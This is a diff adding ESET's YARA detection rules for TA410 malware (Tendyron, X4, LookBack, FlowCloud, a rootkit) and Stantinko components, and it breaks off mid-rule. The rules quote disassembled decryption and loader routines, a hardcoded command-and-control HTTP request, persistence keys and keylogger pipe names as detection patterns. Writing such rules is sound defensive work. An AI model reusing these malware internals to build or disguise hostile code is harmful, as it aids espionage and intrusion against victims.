+//
+
+import "pe"
+
+rule apt_Windows_TA410_Tendyron_dropper
+{
+    meta:
+        description = "TA410 Tendyron Dropper"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2020-12-09"
+    strings:
+        $s1 = "Global\\{F473B3BE-08EE-4710-A727-9E248F804F4A}" wide
+        $s2 = "Global\\8D32CCB321B2" wide
+        $s3 = "Global\\E4FE94F75490" wide
+        $s4 = "Program Files (x86)\\Internet Explorer\\iexplore.exe" wide
+        $s5 = "\\RPC Control\\OLE" wide
+        $s6 = "ALPC Port" wide
+    condition:
+        int16(0) == 0x5A4D and 4 of them
+}
+
+rule apt_Windows_TA410_Tendyron_installer
+{
+    meta:
+        description = "TA410 Tendyron Installer"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2020-12-09"
+    strings:
+        $s1 = "Tendyron" wide
+        $s2 = "OnKeyToken_KEB.dll" wide
+        $s3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" wide
+        $s4 = "Global\\8D32CCB321B2"
+        $s5 = "\\RTFExploit\\"
+    condition:
+        int16(0) == 0x5A4D and 3 of them
+}
+
+rule apt_Windows_TA410_Tendyron_Downloader
+{
+    meta:
+        description = "TA410 Tendyron Downloader"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2020-12-09"
+    strings:
+        /*
+        0x401250 8A10                          mov dl, byte ptr [eax]
+        0x401252 80F25C                        xor dl, 0x5c
+        0x401255 80C25C                        add dl, 0x5c
+        0x401258 8810                          mov byte ptr [eax], dl
+        0x40125a 40                            inc eax
+        0x40125b 83E901                        sub ecx, 1
+        0x40125e 75F0                          jne 0x401250
+         */
+        $chunk_1 = {
+            8A 10
+            80 F2 5C
+            80 C2 5C
+            88 10
+            40
+            83 E9 01
+            75 ??
+        }
+        $s1 = "startModule" fullword
+    condition:
+        int16(0) == 0x5A4D and all of them
+}
+
+rule apt_Windows_TA410_X4_strings
+{
+    meta:
+        description = "Matches various strings found in TA410 X4"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2020-10-09"
+    strings:
+        $s1 = "[X]InLoadSC" ascii wide nocase
+        $s3 = "MachineKeys\\Log\\rsa.txt" ascii wide nocase
+        $s4 = "MachineKeys\\Log\\output.log" ascii wide nocase
+    condition:
+        any of them
+}
+
+rule apt_Windows_TA410_X4_hash_values
+{
+    meta:
+        description = "Matches X4 hash function found in TA410 X4"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2020-10-09"
+    strings:
+        $s1 = {D1 10 76 C2 B6 03}
+        $s2 = {71 3E A8 0D}
+        $s3 = {DC 78 94 0E}
+        $s4 = {40 0D E7 D6 06}
+        $s5 = {83 BB FD E8 06}
+        $s6 = {92 9D 9B FF EC 03}
+        $s7 = {DD 0E FC FA F5 03}
+        $s8 = {15 60 1E FB F5 03}
+    condition:
+        uint16(0) == 0x5a4d and 4 of them
+
+}
+
+rule apt_Windows_TA410_X4_hash_fct
+{
+    meta:
+        description = "Matches X4 hash function found in TA410 X4"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2020-10-09"
+
+    /*
+    0x6056cc2150 0FB601                        movzx eax, byte ptr [rcx]
+    0x6056cc2153 84C0                          test al, al
+    0x6056cc2155 7416                          je 0x6056cc216d
+    0x6056cc2157 4869D283000000                imul rdx, rdx, 0x83
+    0x6056cc215e 480FBEC0                      movsx rax, al
+    0x6056cc2162 4803D0                        add rdx, rax
+    0x6056cc2165 48FFC1                        inc rcx
+    0x6056cc2168 E9E3FFFFFF                    jmp 0x6056cc2150
+     */
+    strings:
+        $chunk_1 = {
+            0F B6 01
+            84 C0
+            74 ??
+            48 69 D2 83 00 00 00
+            48 0F BE C0
+            48 03 D0
+            48 FF C1
+            E9 ?? ?? ?? ??
+        }
+
+    condition:
+        uint16(0) == 0x5a4d and any of them
+
+}
+
+rule apt_Windows_TA410_LookBack_decryption
+{
+    meta:
+        description = "Matches encryption/decryption function used by LookBack."
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2021-10-12"
+    strings:
+        $initialize = {
+            8B C6           //mov eax, esi
+            99              //cdq
+            83 E2 03        //and edx, 3
+            03 C2           //add eax, edx
+            C1 F8 02        //sar eax, 2
+            8A C8           //mov cl, al
+            02 C0           //add al, al
+            02 C8           //add cl, al
+            88 4C 34 10         //mov byte ptr [esp + esi + 0x10], cl
+            46              //inc esi
+            81 FE 00 01 00 00       //cmp esi, 0x100
+            72 ??
+        }
+        $generate = {
+            8A 94 1C 10 01 ?? ??    //mov dl, byte ptr [esp + ebx + 0x110]
+            8D 8C 24 10 01 ?? ??    //lea ecx, [esp + 0x110]
+            0F B6 C3        //movzx eax, bl
+            0F B6 44 04 10      //movzx eax, byte ptr [esp + eax + 0x10]
+            32 C2           //xor al, dl
+            02 F0           //add dh, al
+            0F B6 C6        //movzx eax, dh
+            03 C8           //add ecx, eax
+            0F B6 01        //movzx eax, byte ptr [ecx]
+            88 84 1C 10 01 ?? ??    //mov byte ptr [esp + ebx + 0x110], al
+            43              //inc ebx
+            88 11           //mov byte ptr [ecx], dl
+            81 FB 00 06 00 00       //cmp ebx, 0x600
+            72 ??           //jb 0x10025930
+        }
+        $decrypt = {
+            0F B6 C6        //movzx eax, dh
+            8D 8C 24 10 01 ?? ??    //lea ecx, [esp + 0x110]
+            03 C8           //add ecx, eax
+            8A 19           //mov bl, byte ptr [ecx]
+            8A C3           //mov al, bl
+            02 C6           //add al, dh
+            FE C6           //inc dh
+            02 F8           //add bh, al
+            0F B6 C7        //movzx eax, bh
+            8A 94 04 10 01 ?? ??    //mov dl, byte ptr [esp + eax + 0x110]
+            88 9C 04 10 01 ?? ??    //mov byte ptr [esp + eax + 0x110], bl
+            88 11           //mov byte ptr [ecx], dl
+            0F B6 C2        //movzx eax, dl
+            0F B6 CB        //movzx ecx, bl
+            33 C8           //xor ecx, eax
+            8A 84 0C 10 01 ?? ??    //mov al, byte ptr [esp + ecx + 0x110]
+            30 04 2E        //xor byte ptr [esi + ebp], al
+            46              //inc esi
+            3B F7           //cmp esi, edi
+            7C ??           //jl 0x10025980
+        }
+    condition:
+        uint16(0) == 0x5a4d and all of them
+}
+
+rule apt_Windows_TA410_LookBack_loader
+{
+    meta:
+        description = "Matches the modified function in LookBack libcurl loader."
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2021-10-12"
+    strings:
+        $chunk_1 = {
+            FF 15 ?? ?? ?? ??      //call dword ptr [0x100530e0]
+            6A 40          //push 0x40
+            68 00 10 00 00     //push 0x1000
+            68 F0 04 00 00     //push 0x4f0
+            6A 00          //push 0
+            FF 15 ?? ?? ?? ??      //call dword ptr [0x100530d4]
+            8B E8          //mov ebp, eax
+            B9 3C 01 00 00     //mov ecx, 0x13c
+            BE 60 30 06 10     //mov esi, 0x10063060
+            8B FD          //mov edi, ebp
+            68 F0 04 00 00     //push 0x4f0
+            F3 A5          //rep movsd dword ptr es:[edi], dword ptr [esi]
+            55             //push ebp
+            E8 ?? ?? ?? ??     //call 0x100258d0
+            8B 0D ?? ?? ?? ??      //mov ecx, dword ptr [0x100530e4]
+            A1 ?? ?? ?? ??     //mov eax, dword ptr [0x100530c8]
+            68 6C 02 00 00     //push 0x26c
+            89 4C 24 ??        //mov dword ptr [esp + 0x1c], ecx
+            89 44 24 ??        //mov dword ptr [esp + 0x20], eax
+            FF 15 ?? ?? ?? ??      //call dword ptr [0x10063038]
+            8B D8          //mov ebx, eax
+            B9 9B 00 00 00     //mov ecx, 0x9b
+            BE 50 35 06 10     //mov esi, 0x10063550
+            8B FB          //mov edi, ebx
+            68 6C 02 00 00      //push 0x26c
+            F3 A5          //rep movsd dword ptr es:[edi], dword ptr [esi]
+            53             //push ebx
+            E8 ?? ?? ?? ??     //call 0x100258d0
+            83 C4 14           //add esp, 0x14
+            8D 44 24 ??        //lea eax, [esp + 0x10]
+            50             //push eax
+            53             //push ebx
+            8D 44 24 ??        //lea eax, [esp + 0x3c]
+            50             //push eax
+            A1 ?? ?? ?? ??     //mov eax, dword ptr [0x10063058]
+            FF 74 24 ??        //push dword ptr [esp + 0x28]
+            03 C5          //add eax, ebp
+            FF D0          //call eax
+        }
+    condition:
+        uint16(0) == 0x5a4d and all of them
+}
+
+rule apt_Windows_TA410_LookBack_strings
+{
+    meta:
+        description = "Matches multiple strings and export names in TA410 LookBack."
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2021-10-12"
+    strings:
+        $s1 = "SodomMainFree" ascii wide
+        $s2 = "SodomMainInit" ascii wide
+        $s3 = "SodomNormal.bin" ascii wide
+        $s4 = "SodomHttp.bin" ascii wide
+        $s5 = "sodom.ini" ascii wide
+        $s6 = "SodomMainProc" ascii wide
+
+    condition:
+        uint16(0) == 0x5a4d and (2 of them or pe.exports("SodomBodyLoad") or pe.exports("SodomBodyLoadTest"))
+}
+
+rule apt_Windows_TA410_LookBack_HTTP
+{
+    meta:
+        description = "Matches LookBack's hardcoded HTTP request"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2021-10-12"
+    strings:
+        $s1 = "POST http://%s/status.php?r=%d%d HTTP/1.1\x0d\nAccept: text/html, application/xhtml+xml, */*\x0d\nAccept-Language: en-us\x0d\nUser-Agent: %s\x0d\nContent-Type: application/x-www-form-urlencoded\x0d\nAccept-Encoding: gzip, deflate\x0d\nHost: %s\x0d\nContent-Length: %d\x0d\nConnection: Keep-Alive\x0d\nCache-Control: no-cache\x0d\n\x0d\n" ascii wide
+        $s2 = "id=1&op=report&status="
+
+    condition:
+        uint16(0) == 0x5a4d and all of them
+}
+
+rule apt_Windows_TA410_LookBack_magic
+{
+    meta:
+        description = "Matches message header creation in LookBack."
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2021-10-12"
+    strings:
+        $s1 = {
+            C7 03 C2 2E AB 48           //mov dword ptr [ebx], 0x48ab2ec2
+            ( A1 | 8B 15 ) ?? ?? ?? ??      //mov (eax | edx), x
+            [0-1]               //push ebp
+            89 ?3 04            //mov dword ptr [ebc + 4], reg
+            8B 4? 24 ??             //mov reg, dword ptr [esp + X]
+            89 4? 08            //mov dword ptr [ebx + 8], ??
+            89 ?? 0C            //mov dword ptr [ebx + 0xc], ??
+            8B 4? 24 ??             //mov reg, dword ptr [esp + X]
+            [1-2]               //push 1 or 2 args
+            E8 ?? ?? ?? ??          //call
+        }
+
+    condition:
+        uint16(0) == 0x5a4d and all of them
+}
+
+rule apt_Windows_TA410_FlowCloud_loader_strings
+{
+    meta:
+        description = "Matches various strings found in TA410 FlowCloud first stage."
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2021-10-12"
+    strings:
+        $key = "y983nfdicu3j2dcn09wur9*^&initialize(y4r3inf;'fdskaf'SKF"
+        $s2 = "startModule" fullword
+        $s4 = "auto_start_module" wide
+        $s5 = "load_main_module_after_install" wide
+        $s6 = "terminate_if_fail" wide
+        $s7 = "clear_run_mru" wide
+        $s8 = "install_to_vista" wide
+        $s9 = "load_ext_module" wide
+        $s10= "sll_only" wide
+        $s11= "fail_if_already_installed" wide
+        $s12= "clear_hardware_info" wide
+        $s13= "av_check" wide fullword
+        $s14= "check_rs" wide
+        $s15= "check_360" wide
+        $s16= "responsor.dat" wide ascii
+        $s17= "auto_start_after_install_check_anti" wide fullword
+        $s18= "auto_start_after_install" wide fullword
+        $s19= "extern_config.dat" wide fullword
+        $s20= "is_hhw" wide fullword
+        $s21= "SYSTEM\\Setup\\PrintResponsor" wide
+        $event= "Global\\Event_{201a283f-e52b-450e-bf44-7dc436037e56}" wide ascii
+        $s23= "invalid encrypto hdr while decrypting"
+
+    condition:
+        uint16(0) == 0x5a4d and ($key or $event or 5 of ($s*))
+}
+
+rule apt_Windows_TA410_FlowCloud_header_decryption
+{
+    meta:
+        description = "Matches the function used to decrypt resources headers in TA410 FlowCloud"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+    /*
+    0x416a70 8B1E              mov ebx, dword ptr [esi]
+    0x416a72 8BCF              mov ecx, edi
+    0x416a74 D3CB              ror ebx, cl
+    0x416a76 8D0C28            lea ecx, [eax + ebp]
+    0x416a79 83C706            add edi, 6
+    0x416a7c 3018              xor byte ptr [eax], bl
+    0x416a7e 8B1E              mov ebx, dword ptr [esi]
+    0x416a80 D3CB              ror ebx, cl
+    0x416a82 8D0C02            lea ecx, [edx + eax]
+    0x416a85 305801            xor byte ptr [eax + 1], bl
+    0x416a88 8B1E              mov ebx, dword ptr [esi]
+    0x416a8a D3CB              ror ebx, cl
+    0x416a8c 8B4C240C              mov ecx, dword ptr [esp + 0xc]
+    0x416a90 03C8              add ecx, eax
+    0x416a92 305802            xor byte ptr [eax + 2], bl
+    0x416a95 8B1E              mov ebx, dword ptr [esi]
+    0x416a97 D3CB              ror ebx, cl
+    0x416a99 8B4C2410              mov ecx, dword ptr [esp + 0x10]
+    0x416a9d 03C8              add ecx, eax
+    0x416a9f 305803            xor byte ptr [eax + 3], bl
+    0x416aa2 8B1E              mov ebx, dword ptr [esi]
+    0x416aa4 D3CB              ror ebx, cl
+    0x416aa6 8B4C2414              mov ecx, dword ptr [esp + 0x14]
+    0x416aaa 03C8              add ecx, eax
+    0x416aac 83C006            add eax, 6
+    0x416aaf 3058FE            xor byte ptr [eax - 2], bl
+    0x416ab2 8B1E              mov ebx, dword ptr [esi]
+    0x416ab4 D3CB              ror ebx, cl
+    0x416ab6 3058FF            xor byte ptr [eax - 1], bl
+    0x416ab9 83FF10            cmp edi, 0x10
+    0x416abc 72B2              jb 0x416a70
+     */
+    strings:
+        $chunk_1 = {
+            8B 1E
+            8B CF
+            D3 CB
+            8D 0C 28
+            83 C7 06
+            30 18
+            8B 1E
+            D3 CB
+            8D 0C 02
+            30 58 ??
+            8B 1E
+            D3 CB
+            8B 4C 24 ??
+            03 C8
+            30 58 ??
+            8B 1E
+            D3 CB
+            8B 4C 24 ??
+            03 C8
+            30 58 ??
+            8B 1E
+            D3 CB
+            8B 4C 24 ??
+            03 C8
+            83 C0 06
+            30 58 ??
+            8B 1E
+            D3 CB
+            30 58 ??
+            83 FF 10
+            72 ??
+        }
+
+    condition:
+        uint16(0) == 0x5a4d and all of them
+}
+
+rule apt_Windows_TA410_FlowCloud_dll_hijacking_strings
+{
+    meta:
+        description = "Matches filenames inside TA410 FlowCloud malicious DLL."
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2021-10-12"
+    strings:
+        $dat1 = "emedres.dat" wide
+        $dat2 = "vviewres.dat" wide
+        $dat3 = "setlangloc.dat" wide
+        $dll1 = "emedres.dll" wide
+        $dll2 = "vviewres.dll" wide
+        $dll3 = "setlangloc.dll" wide
+    condition:
+        uint16(0) == 0x5a4d and (all of ($dat*) or all of ($dll*))
+}
+
+rule apt_Windows_TA410_FlowCloud_malicious_dll_antianalysis
+{
+    meta:
+        description = "Matches anti-analysis techniques used in TA410 FlowCloud hijacking DLL."
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2021-10-12"
+    strings:
+    /*
+        33C0              xor eax, eax
+        E8320C0000            call 0x10001d30
+        83C010            add eax, 0x10
+        3D00000080            cmp eax, 0x80000000
+        7D01              jge +3
+        EBFF              jmp +1 / jmp eax
+        E050              loopne 0x1000115c / push eax
+        C3                ret
+    */
+        $chunk_1 = {
+            33 C0
+            E8 ?? ?? ?? ??
+            83 C0 10
+            3D 00 00 00 80
+            7D 01
+            EB FF
+            E0 50
+            C3
+        }
+    condition:
+        uint16(0) == 0x5a4d and all of them
+}
+
+rule apt_Windows_TA410_FlowCloud_pdb
+{
+    meta:
+        description = "Matches PDB paths found in TA410 FlowCloud."
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2021-10-12"
+
+    condition:
+        uint16(0) == 0x5a4d and (pe.pdb_path contains "\\FlowCloud\\trunk\\" or pe.pdb_path contains "\\flowcloud\\trunk\\")
+}
+
+rule apt_Windows_TA410_FlowCloud_shellcode_decryption
+{
+    meta:
+        description = "Matches the decryption function used in TA410 FlowCloud self-decrypting DLL"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2021-10-12"
+    /*
+    0x211 33D2              xor edx, edx
+    0x213 8B4510            mov eax, dword ptr [ebp + 0x10]
+    0x216 BB6B040000            mov ebx, 0x46b
+    0x21b F7F3              div ebx
+    0x21d 81C2A8010000          add edx, 0x1a8
+    0x223 81E2FF000000          and edx, 0xff
+    0x229 8B7D08            mov edi, dword ptr [ebp + 8]
+    0x22c 33C9              xor ecx, ecx
+    0x22e EB07              jmp 0x237
+    0x230 301439            xor byte ptr [ecx + edi], dl
+    0x233 001439            add byte ptr [ecx + edi], dl
+    0x236 41                inc ecx
+    0x237 3B4D0C            cmp ecx, dword ptr [ebp + 0xc]
+    0x23a 72F4              jb 0x230
+     */
+    strings:
+        $chunk_1 = {
+            33 D2
+            8B 45 ??
+            BB 6B 04 00 00
+            F7 F3
+            81 C2 A8 01 00 00
+            81 E2 FF 00 00 00
+            8B 7D ??
+            33 C9
+            EB ??
+            30 14 39
+            00 14 39
+            41
+            3B 4D ??
+            72 ??
+        }
+
+    condition:
+        uint16(0) == 0x5a4d and all of them
+}
+
+rule apt_Windows_TA410_FlowCloud_fcClient_strings
+{
+    meta:
+        description = "Strings found in fcClient/rescure.dat module."
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2021-10-12"
+    strings:
+        $s1 = "df257bdd-847c-490e-9ef9-1d7dc883d3c0"
+        $s2 = "\\{2AFF264E-B722-4359-8E0F-947B85594A9A}"
+        $s3 = "Global\\{26C96B51-2B5D-4D7B-BED1-3DCA4848EDD1}" wide
+        $s4 = "{804423C2-F490-4ac3-BFA5-13DEDE63A71A}" wide
+        $s5 = "{A5124AF5-DF23-49bf-B0ED-A18ED3DEA027}" wide
+        $s6 = "XXXModule_func.dll"
+        $driver1 = "\\drivers\\hidmouse.sys" wide fullword
+        $driver2 = "\\drivers\\hidusb.sys" wide fullword
+
+    condition:
+        uint16(0) == 0x5a4d and (any of ($s*) or all of ($driver*))
+}
+
+rule apt_Windows_TA410_FlowCloud_fcClientDll_strings
+{
+    meta:
+        description = "Strings found in fcClientDll/responsor.dat module."
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2021-10-12"
+    strings:
+        $s1 = "http://%s/html/portlet/ext/draco/resources/draco_manager.swf/[[DYNAMIC]]/1"
+        $s2 = "Cookie: COOKIE_SUPPORT=true; JSESSIONID=5C7E7A60D01D2891F40648DAB6CB3DF4.jvm1; COMPANY_ID=10301; ID=666e7375545678695645673d; PASSWORD=7a4b48574d746470447a303d; LOGIN=6863303130; SCREEN_NAME=4a2b455377766b657451493d; GUEST_LANGUAGE_ID=en-US"
+        $fc_msg = ".fc_net.msg"
+        $s4 = "\\pipe\\namedpipe_keymousespy_english" wide
+        $s5 = "8932910381748^&*^$58876$%^ghjfgsa413901280dfjslajflsdka&*(^7867=89^&*F(^&*5678f5ds765f76%&*%&*5"
+        $s6 = "cls_{CACB140B-0B82-4340-9B05-7983017BA3A4}" wide
+        $s7 = "HTTP/1.1 200 OK\x0d\nServer: Apache-Coyote/1.1\x0d\nPragma: No-cache\x0d\nCache-Control: no-cache\x0d\nExpires: Thu, 01 Jan 1970 08:00:00 CST\x0d\nLast-Modified: Fri, 27 Apr 2012 08:11:04 GMT\x0d\nContent-Type: application/xml\x0d\nContent-Length: %d\x0d\nDate: %s GMT"
+        $sql1 = "create table if not exists table_filed_space"
+        $sql2 = "create table if not exists clipboard"
+        $sql3 = "create trigger if not exists file_after_delete after delete on file"
+        $sql4 = "create trigger if not exists file_data_after_insert after insert on file_data"
+        $sql5 = "create trigger if not exists file_data_after_delete after delete on file_data"
+        $sql6 = "create trigger if not exists file_data_after_update after update on file_data"
+        $sql7 = "insert into file_data(file_id, ofs, data, status)"
+
+    condition:
+        uint16(0) == 0x5a4d and (any of ($s*) or #fc_msg >= 8 or 4 of ($sql*))
+}
+
+rule apt_Windows_TA410_Rootkit_strings
+{
+    meta:
+        description = "Strings found in TA410's Rootkit"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2021-10-12"
+    strings:
+        $driver1 = "\\Driver\\kbdclass" wide
+        $driver2 = "\\Driver\\mouclass" wide
+        $device1 = "\\Device\\KeyboardClass0" wide
+        $device2 = "\\Device\\PointerClass0" wide
+        $driver3 = "\\Driver\\tcpip" wide
+        $device3 = "\\Device\\tcp" wide
+        $driver4 = "\\Driver\\nsiproxy" wide
+        $device4 = "\\Device\\Nsi" wide
+        $reg1 = "\\Registry\\Machine\\SYSTEM\\Setup\\AllowStart\\ceipCommon" wide
+        $reg2 = "RHH%d" wide
+        $reg3 = "RHP%d" wide
+        $s1 = "\\SystemRoot\\System32\\drivers\\hidmouse.sys" wide
+
+    condition:
+        uint16(0) == 0x5a4d and all of ($s1,$reg*) and (all of ($driver*) or all of ($device*))
+}
+
+rule apt_Windows_TA410_FlowCloud_v5_resources
+{
+    meta:
+        description = "Matches sequence of PE resource IDs found in TA410 FlowCloud version 5.0.2"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2021-10-12"
+    condition:
+        uint16(0) == 0x5a4d and pe.number_of_resources >= 13 and
+        for 12 resource in pe.resources:
+        ( resource.type == 10 and resource.language == 1033 and
+            //resource name is one of 100, 1000, 10000, 1001, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 2000, 2001 as widestring
+            (resource.name_string == "1\x000\x000\x00" or resource.name_string == "1\x000\x000\x000\x00" or resource.name_string == "1\x000\x000\x000\x000\x00" or
+             resource.name_string == "1\x000\x000\x001\x00" or resource.name_string == "1\x000\x001\x00" or resource.name_string == "1\x000\x002\x00" or
+             resource.name_string == "1\x000\x003\x00" or resource.name_string == "1\x000\x004\x00" or resource.name_string == "1\x000\x005\x00" or
+             resource.name_string == "1\x000\x006\x00" or resource.name_string == "1\x000\x007\x00" or resource.name_string == "1\x000\x008\x00" or
+             resource.name_string == "1\x000\x009\x00" or resource.name_string == "1\x001\x000\x00" or resource.name_string == "2\x000\x000\x000\x00" or resource.name_string == "2\x000\x000\x001\x00")
+        )
+}
+
+rule apt_Windows_TA410_FlowCloud_v4_resources
+{
+    meta:
+        description = "Matches sequence of PE resource IDs found in TA410 FlowCloud version 4.1.3"
+        reference = "https://www.welivesecurity.com/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+        author = "ESET Research"
+        date = "2021-10-12"
+    condition:
+        uint16(0) == 0x5a4d and pe.number_of_resources >= 6 and
+        for 5 resource in pe.resources:
+        ( resource.type == 10 and resource.language == 1033 and
+            // resource name is one of 10000, 10001, 10002, 10003, 10004, 10005, 10100 as wide string
+            (resource.name_string == "1\x000\x000\x000\x000\x00" or resource.name_string == "1\x000\x000\x000\x001\x00" or
+             resource.name_string == "1\x000\x000\x000\x002\x00" or resource.name_string == "1\x000\x000\x000\x003\x00" or
+             resource.name_string == "1\x000\x000\x000\x004\x00" or resource.name_string == "1\x000\x000\x000\x005\x00" or resource.name_string == "1\x000\x001\x000\x000\x00")
+        )
+}
+
+
+
+// Stantinko yara rules
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2017, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+
+import "pe"
+
+rule beds_plugin {
+
+    meta:
+        Author      = "Frédéric Vachon"
+        Date        = "2017-07-17"
+        Description = "Stantinko BEDS' plugins"
+        Reference   = "https://www.welivesecurity.com/wp-content/uploads/2017/07/Stantinko.pdf"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "github@eset.com"
+        License = "BSD 2-Clause"
+
+    condition:
+        pe.exports("CheckDLLStatus") and
+        pe.exports("GetPluginData") and
+        pe.exports("InitializePlugin") and
+        pe.exports("IsReleased") and
+        pe.exports("ReleaseDLL")
+}
+
+rule beds_dropper {
+
+    meta:
+        Author      = "Frédéric Vachon"
+        Date        = "2017-07-17"
+        Description = "BEDS dropper"
+        Reference   = "https://www.welivesecurity.com/wp-content/uploads/2017/07/Stantinko.pdf"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "github@eset.com"
+        License = "BSD 2-Clause"
+
+    condition:
+        pe.imphash() == "a7ead4ef90d9981e25728e824a1ba3ef"
+        
+}
+
+rule facebook_bot {
+
+    meta:
+        Author      = "Frédéric Vachon"
+        Date        = "2017-07-17"
+        Description = "Stantinko's Facebook bot"
+        Reference   = "https://www.welivesecurity.com/wp-content/uploads/2017/07/Stantinko.pdf"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "github@eset.com"
+        License = "BSD 2-Clause"
+
+    strings:
+        $s1 = "m_upload_pic&return_uri=https%3A%2F%2Fm.facebook.com%2Fprofile.php" fullword ascii
+        $s2 = "D:\\work\\brut\\cms\\facebook\\facebookbot\\Release\\facebookbot.pdb" fullword ascii
+        $s3 = "https%3A%2F%2Fm.facebook.com%2Fcomment%2Freplies%2F%3Fctoken%3D" fullword ascii
+        $s4 = "reg_fb_gate=https%3A%2F%2Fm.facebook.com%2Freg" fullword ascii
+        $s5 = "reg_fb_ref=https%3A%2F%2Fm.facebook.com%2Freg%2F" fullword ascii
+        $s6 = "&return_uri_error=https%3A%2F%2Fm.facebook.com%2Fprofile.php" fullword ascii
+
+        $x1 = "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36" fullword ascii
+        $x2 = "registration@facebookmail.com" fullword ascii
+        $x3 = "https://m.facebook.com/profile.php?mds=" fullword ascii
+        $x4 = "https://upload.facebook.com/_mupload_/composer/?profile&domain=" fullword ascii
+        $x5 = "http://staticxx.facebook.com/connect/xd_arbiter.php?version=42#cb=ff43b202c" fullword ascii
+        $x6 = "https://upload.facebook.com/_mupload_/photo/x/saveunpublished/" fullword ascii
+        $x7 = "m.facebook.com&ref=m_upload_pic&waterfall_source=" fullword ascii
+        $x8 = "payload.commentID" fullword ascii
+        $x9 = "profile.login" fullword ascii
+
+   condition:
